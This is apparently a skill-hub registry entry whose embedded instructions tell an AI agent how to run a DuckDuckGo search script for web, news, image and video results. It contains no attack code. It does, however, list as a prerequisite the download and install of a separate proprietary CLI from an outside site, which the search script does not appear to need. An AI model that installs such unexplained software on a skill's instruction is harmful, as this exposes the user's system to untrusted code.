{"skill":{"slug":"web-search-hub","displayName":"Web Search Hub","summary":"Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to \"search for\", \"find information about\", \"look up\", \"what's the latest on\", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.","description":"---\nname: web-search-hub\ndescription: \"Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to \\\"search for\\\", \\\"find information about\\\", \\\"look up\\\", \\\"what's the latest on\\\", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.\"\nlicense: Proprietary\n---\n\n# Web Search Hub\n\nSearch the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.\n\n⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) and run `pip install duckduckgo-search`\n\n**Installation Best Practices:**\n- If you encounter permission errors, use a virtual environment instead of system-wide installation\n- For virtual environment: `python -m venv venv && source venv/bin/activate && pip install duckduckgo-search`\n- Never use `--break-system-packages` as it can damage your system's Python installation\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Basic web search | `python scripts/search.py \"query\"` |\n| Recent news | `python scripts/search.py \"topic\" --type news --time-range w` |\n| Find images | `python scripts/search.py \"subject\" --type images` |\n| Find videos | `python scripts/search.py \"tutorial\" --type videos` |\n| Save results | `python scripts/search.py \"query\" --output file.txt` |\n| JSON output | `python scripts/search.py \"query\" --format json` |\n\n---\n\n## Core Search Types\n\n### Web Search (Default)\n\nReturns web pages with titles, URLs, and descriptions.\n\n```bash\npython scripts/search.py \"quantum computing\"\npython scripts/search.py \"python asyncio tutorial\" --max-results 20\n```\n\n### News Search\n\nReturns articles with source, date, and summary.\n\n```bash\npython scripts/search.py \"climate summit\" --type news\npython scripts/search.py \"AI regulation\" --type news --time-range d\n```\n\n### Image Search\n\nReturns images with URLs, thumbnails, dimensions, and source.\n\n```bash\npython scripts/search.py \"mountain sunset\" --type images\npython scripts/search.py \"abstract art\" --type images --image-color Blue\n```\n\n### Video Search\n\nReturns videos with title, publisher, duration, date, and URL.\n\n```bash\npython scripts/search.py \"cooking tutorial\" --type videos\npython scripts/search.py \"documentary\" --type videos --video-duration long\n```\n\n---\n\n## Essential Options\n\n### Result Count\n```bash\n--max-results N    # Default: 10, range: 1-unlimited\n```\n\n**Examples:**\n```bash\npython scripts/search.py \"machine learning\" --max-results 5   # Quick overview\npython scripts/search.py \"research topic\" --max-results 30    # Comprehensive\n```\n\n### Time Filtering\n```bash\n--time-range <d|w|m|y>\n# d = past day\n# w = past week  \n# m = past month\n# y = past year\n```\n\n**Examples:**\n```bash\npython scripts/search.py \"tech news\" --time-range d      # Today's news\npython scripts/search.py \"research papers\" --time-range y # Recent publications\n```\n\n### Region Selection\n```bash\n--region <code>    # Default: wt-wt (worldwide)\n```\n\n**Common codes:** `us-en`, `uk-en`, `ca-en`, `au-en`, `de-de`, `fr-fr`\n\n**Example:**\n```bash\npython scripts/search.py \"local events\" --region us-en --type news\n```\n\n### Safe Search\n```bash\n--safe-search <on|moderate|off>    # Default: moderate\n```\n\n**Example:**\n```bash\npython scripts/search.py \"medical information\" --safe-search on\n```\n\n---\n\n## Output Formats\n\n### Text (Default)\nClean, numbered results with URLs and descriptions.\n\n```bash\npython scripts/search.py \"topic\"\n```\n\n**Output:**\n```\n1. Page Title\n   URL: https://example.com\n   Description text here...\n\n2. Next Result\n   URL: https://example.com/page\n   Description text...\n```\n\n### Markdown\nFormatted with headers, bold, and links.\n\n```bash\npython scripts/search.py \"topic\" --format markdown\n```\n\n**Output:**\n```markdown\n## 1. Page Title\n\n**URL:** https://example.com\n\nDescription text here...\n```\n\n### JSON\nStructured data for programmatic processing.\n\n```bash\npython scripts/search.py \"topic\" --format json\n```\n\n**Output:**\n```json\n[\n  {\n    \"title\": \"Page Title\",\n    \"href\": \"https://example.com\",\n    \"body\": \"Description text...\"\n  }\n]\n```\n\n### Save to File\n```bash\n--output <filepath>\n```\n\n**Examples:**\n```bash\npython scripts/search.py \"AI trends\" --output results.txt\npython scripts/search.py \"news\" --type news --format markdown --output news.md\npython scripts/search.py \"data\" --format json --output data.json\n```\n\n---\n\n## Image Search Filters\n\n### Size\n```bash\n--image-size <Small|Medium|Large|Wallpaper>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"landscape\" --type images --image-size Large\n```\n\n### Color\n```bash\n--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"abstract art\" --type images --image-color Blue\n```\n\n### Type\n```bash\n--image-type <photo|clipart|gif|transparent|line>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"icons\" --type images --image-type transparent\n```\n\n### Layout\n```bash\n--image-layout <Square|Tall|Wide>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"wallpaper\" --type images --image-layout Wide\n```\n\n---\n\n## Video Search Filters\n\n### Duration\n```bash\n--video-duration <short|medium|long>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"recipe\" --type videos --video-duration short\n```\n\n### Resolution\n```bash\n--video-resolution <high|standard>\n```\n\n**Example:**\n```bash\npython scripts/search.py \"tutorial\" --type videos --video-resolution high\n```\n\n---\n\n## Common Workflows\n\n### Research a Topic\n\nGather comprehensive information across multiple search types:\n\n```bash\n# Web overview\npython scripts/search.py \"machine learning\" --max-results 15 --output ml_web.txt\n\n# Recent news\npython scripts/search.py \"machine learning\" --type news --time-range m --output ml_news.txt\n\n# Tutorial videos\npython scripts/search.py \"machine learning tutorial\" --type videos --output ml_videos.txt\n\n# Visual examples\npython scripts/search.py \"machine learning diagrams\" --type images --max-results 20 --output ml_images.txt\n```\n\n### Track Current Events\n\nMonitor breaking news on specific topics:\n\n```bash\npython scripts/search.py \"election results\" --type news --time-range d --format markdown --output daily_news.md\n```\n\n### Find Visual Resources\n\nSearch for images with specific requirements:\n\n```bash\npython scripts/search.py \"data visualization\" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt\n```\n\n### Fact-Check Information\n\nVerify claims with recent sources:\n\n```bash\npython scripts/search.py \"claim to verify\" --time-range w --max-results 20 --output verification.txt\n```\n\n### Market Research\n\nGather business intelligence:\n\n```bash\npython scripts/search.py \"electric vehicle market 2025\" --max-results 25 --output market_overview.txt\npython scripts/search.py \"EV industry\" --type news --time-range m --output market_news.txt\n```\n\n### Academic Research\n\nFind scholarly resources:\n\n```bash\npython scripts/search.py \"quantum entanglement\" --time-range y --max-results 30 --format markdown --output research.md\n```\n\n---\n\n## Implementation Guidelines\n\nWhen users request web searches, follow this approach:\n\n### 1. Identify Intent\n- What content type? (web, news, images, videos)\n- How recent? (use `--time-range` for current info)\n- How many results? (adjust `--max-results`)\n- Any special filters? (size, color, duration, etc.)\n\n### 2. Configure Search\n```bash\npython scripts/search.py \"query\" \\\n  --type <web|news|images|videos> \\\n  --max-results <N> \\\n  --time-range <d|w|m|y> \\\n  [additional filters]\n```\n\n### 3. Choose Format\n- **Text:** Quick reading, immediate review\n- **Markdown:** Documentation, formatted reports\n- **JSON:** Further processing, automation\n\n### 4. Execute and Process\n```bash\n# Run search\npython scripts/search.py \"query\" [options] --output results.txt\n\n# Read results if needed\ncat results.txt\n\n# Extract URLs or combine multiple searches\n```\n\n---\n\n## Best Practices\n\n### Search Strategy\n1. **Start specific** - Use clear, targeted queries\n2. **Use time filters** - Apply `--time-range` for current topics\n3. **Adjust result count** - Start with 10-20, increase if needed\n4. **Choose right type** - News for current events, web for general info\n\n### Output Management\n1. **Save important searches** - Use `--output` to preserve results\n2. **Use appropriate format** - JSON for automation, markdown for docs\n3. **Organize files** - Create folders for multi-search research\n\n### API Usage\n1. **Avoid rapid requests** - Space out searches to prevent rate limiting\n2. **Be efficient** - Use filters to get better results with fewer searches\n3. **Respect limits** - Don't hammer the API unnecessarily\n\n---\n\n## Troubleshooting\n\n### Installation Issues\n\n**\"Missing required dependency\"**\n```bash\n# Standard installation\npip install duckduckgo-search\n\n# If you get permission errors, use a virtual environment\npython -m venv venv\nsource venv/bin/activate  # On Windows: venv\\Scripts\\activate\npip install duckduckgo-search\n```\n\n**Important:** Never use `--break-system-packages` flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.\n\n**\"OpenClawCLI not found\"**\n- Download from https://clawhub.ai/\n- Install for your OS (Windows/MacOS)\n- Verify installation: `openclaw --version`\n\n### Search Issues\n\n**\"No results found\"**\n- Broaden search terms\n- Remove time filters\n- Try different query phrasing\n\n**\"Timeout errors\"**\n- DuckDuckGo service may be temporarily unavailable\n- Wait a moment and retry\n- Check internet connection\n\n**\"Unexpected results\"**\n- DuckDuckGo results differ from Google\n- Refine query with more specific terms\n- Try adding context to the query\n\n### Rate Limiting\n\n**\"Too many requests\"**\n- Space out searches (wait 1-2 seconds between requests)\n- Reduce frequency if making automated searches\n- Consider batching queries instead of individual requests\n\n---\n\n## Advanced Usage\n\n### Combining Multiple Searches\n\nBuild comprehensive research by combining search types:\n\n```bash\n# Create research folder\nmkdir research\n\n# Gather all content types\npython scripts/search.py \"topic\" --max-results 20 --output research/web.txt\npython scripts/search.py \"topic\" --type news --time-range m --output research/news.txt  \npython scripts/search.py \"topic\" --type images --max-results 30 --output research/images.txt\npython scripts/search.py \"topic\" --type videos --max-results 15 --output research/videos.txt\n```\n\n### Programmatic Processing\n\nUse JSON for automated workflows:\n\n```bash\n# Get JSON data\npython scripts/search.py \"research query\" --format json --output data.json\n\n# Process with custom script\npython analyze_results.py data.json\n```\n\n### Building Knowledge Bases\n\nCreate searchable documentation:\n\n```bash\nmkdir knowledge-base\n\n# Search related topics\npython scripts/search.py \"topic1\" --format markdown --output knowledge-base/topic1.md\npython scripts/search.py \"topic2\" --format markdown --output knowledge-base/topic2.md\npython scripts/search.py \"topic3\" --format markdown --output knowledge-base/topic3.md\n```\n\n---\n\n## Limitations\n\n### Search Capabilities\n- Results depend on DuckDuckGo's index (may differ from Google)\n- No advanced operators (no `site:`, `filetype:`, etc.)\n- Image/video results may be limited compared to web search\n- No control over ranking algorithms\n\n### Content Access\n- Cannot access paywalled content\n- Some sites may block DuckDuckGo crawler\n- Dynamic JavaScript content may not be indexed\n- Real-time data may have slight delays\n\n### API Constraints\n- Rate limiting applies to prevent abuse\n- No guaranteed uptime or availability\n- Results may vary by region and time\n- Some queries may be filtered for safety\n\n---\n\n## Complete Command Reference\n\n```bash\npython scripts/search.py \"<query>\" [OPTIONS]\n\nREQUIRED:\n  query              Search query string (in quotes)\n\nSEARCH TYPE:\n  -t, --type         web|news|images|videos (default: web)\n\nRESULTS:\n  -n, --max-results  Maximum results (default: 10)\n  --time-range       d|w|m|y (day, week, month, year)\n  -r, --region       Region code (default: wt-wt)\n  --safe-search      on|moderate|off (default: moderate)\n\nOUTPUT:\n  -f, --format       text|markdown|json (default: text)\n  -o, --output       Save to file path\n\nIMAGE FILTERS:\n  --image-size       Small|Medium|Large|Wallpaper\n  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White\n  --image-type       photo|clipart|gif|transparent|line\n  --image-layout     Square|Tall|Wide\n\nVIDEO FILTERS:\n  --video-duration   short|medium|long\n  --video-resolution high|standard\n\nHELP:\n  --help             Show all options and usage examples\n```\n\n---\n\n## Examples by Use Case\n\n### Quick Searches\n```bash\n# Simple query\npython scripts/search.py \"python tutorials\"\n\n# Get more results\npython scripts/search.py \"python tutorials\" --max-results 25\n```\n\n### Current Events\n```bash\n# Today's news\npython scripts/search.py \"AI developments\" --type news --time-range d\n\n# This week's headlines\npython scripts/search.py \"technology\" --type news --time-range w --max-results 30\n```\n\n### Visual Content\n```bash\n# Find photos\npython scripts/search.py \"nature photography\" --type images --image-type photo\n\n# Specific color scheme\npython scripts/search.py \"office design\" --type images --image-color Blue --image-size Large\n\n# Transparent icons\npython scripts/search.py \"social media icons\" --type images --image-type transparent\n```\n\n### Video Content\n```bash\n# Short tutorials\npython scripts/search.py \"quick recipe\" --type videos --video-duration short\n\n# High-quality documentaries\npython scripts/search.py \"space documentary\" --type videos --video-resolution high --video-duration long\n```\n\n### Saved Research\n```bash\n# Create research report\npython scripts/search.py \"climate change solutions\" --max-results 30 --format markdown --output climate_report.md\n\n# Gather news archive\npython scripts/search.py \"tech industry\" --type news --time-range m --format json --output tech_news.json\n```\n\n---\n\n## Support\n\nFor issues or questions:\n1. Check this documentation for solutions\n2. Run `python scripts/search.py --help` for command-line help\n3. Verify OpenClawCLI installation at https://clawhub.ai/\n4. Ensure `duckduckgo-search` library is installed\n\n**Key Resources:**\n- OpenClawCLI: https://clawhub.ai/\n- DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/","tags":{"latest":"0.1.3"},"stats":{"comments":0,"downloads":2093,"installsAllTime":3,"installsCurrent":3,"stars":1,"versions":4},"createdAt":1770537872420,"updatedAt":1778486077727},"latestVersion":{"version":"0.1.3","createdAt":1770538512824,"changelog":"- Updated installation instructions: removed advice to use `--break-system-packages` and added guidance on using virtual environments for safer dependency management.\n- Added detailed best practices for installing dependencies without risking damage to the system Python.\n- No changes to core search functionality or usage.","license":null},"metadata":null,"owner":{"handle":"anisafifi","userId":"s17bsyazygqm0558snzx9msnnx885wpa","displayName":"Anis Afifi","image":"https://avatars.githubusercontent.com/u/174696450?v=4"},"moderation":null}